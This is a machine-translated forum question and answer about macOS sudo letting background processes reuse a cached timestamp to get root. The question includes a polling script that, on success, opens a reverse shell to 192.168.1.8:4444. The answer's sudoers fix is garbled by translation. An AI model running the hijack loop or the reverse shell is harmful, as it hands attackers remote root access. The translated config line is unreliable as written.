安全地使用sudo，而不允许其他应用程序在小牛上拥有根特权。

Question

最近，我在or上注意到，运行sudo不仅允许在同一个窗口甚至同一个应用程序中再次运行它，而且允许任何应用程序以root用户的身份运行shell命令。这意味着任何试图在循环中不使用密码运行sudo的应用程序都将获得根用户权限。有办法改变这种状况吗？

示例shell脚本：

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
say root
echo root
exit
fi
done

如果在后台运行，然后运行sudo命令，它会说root，然后退出。我更关注的另一个例子是：

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
bash -i > /dev/tcp/192.168.1.8/4444 0>&1
fi
done

Answer 1

好的，在对这个问题做了一些研究之后，发现这个行为是因为OS/X一次又一次地产生相同的TTY，而且由于sudo有超时，后台的应用程序在向完全不同的应用程序授予sudo权限时会自动接收sudo权限。

谢天谢地，解决办法并不难。您所需要做的就是编辑sudoers以添加以下行：

默认值:所有timestamp_timeout=0

(感谢某个特姆森·梅斯特建议使用此配置选项！)

这将使行为更加严格--只有应用程序才能获得sudo权限，并且它会立即超时。我使用这作为参考来进行此更改，如果您希望在sudoers中更改其他内容，它有很多有用的提示。

谢谢你这个伟大的问题，我今天学到了一些新东西。:)